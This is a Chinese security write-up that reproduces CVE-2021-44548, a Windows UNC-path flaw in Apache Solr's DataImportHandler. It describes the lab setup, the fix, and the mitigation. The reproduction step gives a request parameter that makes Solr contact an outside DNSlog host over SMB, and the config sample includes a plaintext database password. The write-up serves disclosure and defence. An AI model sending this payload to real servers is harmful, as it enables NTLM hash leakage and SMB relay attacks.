作者:Jackey0@Timeline Sec
本文字数:1082
阅读时长:3~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 漏洞概述
Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。
2021年12月18日,Apache发布安全公告,Apache Solr中存在一个信息泄露漏洞(CVE-2021-44548),该漏洞影响了8.11.1之前的所有Apache Solr版本(仅影响Windows平台)。Apache Solr的DataImportHandler中存在一个不正确的输入验证漏洞,可利用Windows UNC路径从Solr主机调用网络上的另一台主机的SMB服务,或导致SMB攻击,从而造成:
- 敏感数据泄露,如系统用户哈希(NTLM/LM哈希);
- 在系统配置错误的情况下,SMB中继攻击可能导致用户在SMB共享中被冒充,或导致远程代码执行。
0x02 影响版本
Apache Solr < 8.11.1 (仅Windows)
0x03 环境搭建
Solr漏洞环境下载地址:
https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.zip
1)打开命令行,进入bin目录下,运行solr.cmd start
2)再另一个命令行面板中执行solr.cmd create_core -c new_core
3)然后在solr-8.11.0dist目录中添加三个jar包:
代码语言:javascript复制wget https://mirror.shileizcc.com/Solr/mysql-connector-java-5.1.42-bin.jar
wget https://mirror.shileizcc.com/Solr/solr-dataimporthandler-7.3.1.jar
wget https://mirror.shileizcc.com/Solr/solr-dataimporthandler-extras-7.3.1.jar
4)在solr-8.11.0serversolrcore1confsolrconfig.xml中添加DataImportHandler路由
代码语言:javascript复制 <requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler">
<lst name="defaults">
<str name="config">data-config.xml</str>
</lst>
</requestHandler>
<lib dir="C:/Users/Administrator/Downloads/solr-8.11.0/dist/" regex="mysql-connector-java-5.1.42-bin.jar" />
<lib dir="C:/Users/Administrator/Downloads/solr-8.11.0/contrib/dataimporthandler/lib" regex=".*.jar" />
<lib dir="C:/Users/Administrator/Downloads/solr-8.11.0/contrib/dataimporthandler-extras/lib" regex=".*.jar" />
<lib dir="C:/Users/Administrator/Downloads/solr-8.11.0/dist/" regex="solr-dataimporthandler.*.jar" />
5)在C:UsersAdministratorDownloadssolr-8.11.0serversolrcore1conf目录下新建data-config.xml文件,内容如下:
代码语言:javascript复制<dataConfig>
<dataSource type="JdbcDataSource"
driver="com.mysql.jdbc.Driver"
convertType="true"
url="jdbc:mysql://192.168.110.179:3306/test"
user="root"
password="Lifeng716.."/>
<document>
<entity name="entity" query="SELECT id, title, content, tags FROM test_table" >
</entity>
</document>
</dataConfig>
6)重新启动solr
0x04 漏洞复现
点击reload后抓包,请求信息如下:
在请求url中添加参数 expandMacros=false&config=\rxtszi.dnslog.cnaaa 发送请求:
Dnslog收到请求
总结:该漏洞允许本地计算机通过\格式路径访问其他开启了SMB服务的机器
0x05 修复方式
目前此漏洞已经修复,建议受影响用户升级到Apache Solr 8.11.1。
下载链接:
https://solr.apache.org/downloads.html
缓解措施:
确保只有受信任的客户端才能向Solr的DataImporthandler发出请求。